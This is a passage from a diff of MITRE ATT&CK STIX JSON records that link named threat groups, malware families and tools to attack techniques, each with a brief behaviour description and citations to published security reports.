+ "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[nbtstat](https://attack.mitre.org/software/S0102) can be used to discover current NetBIOS sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--980e4dca-4d6b-4206-9c51-bff32c72a961", + "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware encrypts C2 traffic using RC4 with a hard-coded key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": "relationship--73da57b5-e64f-44ee-85f7-d294c21fb534", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) searches attached and mounted drives for file extensions and keywords that match a predefined list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--62507790-a137-409e-a655-9190ff78cb52", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Sakula](https://attack.mitre.org/software/S0074) encodes C2 traffic with single-byte XOR keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "After downloading its main config file, [Downdelph](https://attack.mitre.org/software/S0134) downloads multiple payloads from C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "modified": "2019-10-15T18:00:19.433Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[RTM](https://attack.mitre.org/software/S0148) can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d0b4507-b600-41f1-be98-03909e5d99cf", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor. The group has also moved laterally using the Local Administrator account.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.319Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b28c7fbf-05c6-4be2-9f17-3dcc722cee7c", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[ChChes](https://attack.mitre.org/software/S0144) establishes persistence by adding a Registry Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2e44b66a-0f81-4f60-94aa-c450556bc243", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) connects to port 80 of a C2 server using Wininet API.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Elise](https://attack.mitre.org/software/S0081) encrypts several of its files, including configuration files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--68bbad6c-1685-4275-bd36-b885a64caf6d", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.858Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to list account information on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ab3fe31a-051e-4db5-bcf0-20a93b4bae9b", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) uses HTTP for command and control communication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0fd9bb83-40f0-42ae-8e73-5d207434a757", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2864eb81-71a5-4325-b42a-7a725f0c6887", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) leverages legitimate social networking sites and cloud platforms (Twitter, Yandex, and Mediafire) for command and control communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b45c7b78-55c7-4418-ab03-9f805de7376d", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.407Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--cd38481c-7c23-4e72-b1b4-056830f5f7f3", + "source_ref": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8", + "modified": "2019-07-24T19:19:30.989Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--79ecf1f6-a17d-4374-a84c-811669e39261", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "modified": "2019-04-25T02:48:47.519Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Starloader](https://attack.mitre.org/software/S0188) decrypts and executes shellcode from a file called Stars.jps.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--283bdd5f-f356-43a2-864c-6f8211073d45", + "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "source_name": "Symantec Sowbug Nov 2017", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses port 80 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9287e689-758f-4701-80b6-41bcf348ab10", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command ipconfig /all.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1ec53623-4050-498b-ba9e-f149d203036c", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) uses custom Base64 encoding schemes to obfuscate command and control traffic in the message body of HTTP requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "modified": "2019-06-10T19:29:30.609Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + }, + { + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "source_name": "Trend Micro IXESHE 2012", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather system information, the computer name, OS version, drive and serial information from the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--35697909-4c19-4799-a5ac-3153750619f8", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[Rover](https://attack.mitre.org/software/S0090) searches for files on attached removable drives based on a predefined list of file extensions every five seconds.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6d87588e-2202-4616-a536-e43a2606721b", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "After encrypting log files, the log encryption module in [Prikormka](https://attack.mitre.org/software/S0113) deletes the original, unencrypted files from the host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) encodes C2 communications with base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--37f48df4-80b1-4f5b-917c-8ac699e5cc0e", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) binds to a raw socket on a random source port between 31800 and 31900 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--83256f2c-78fe-4fe2-82f0-55df116a0ebc", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.583Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.040Z", + "id": "relationship--c569059f-8a7d-4777-a111-d3ab62d178ca", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f07267d5-f532-4a52-abd6-20d5f94a2bf8", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.120Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": 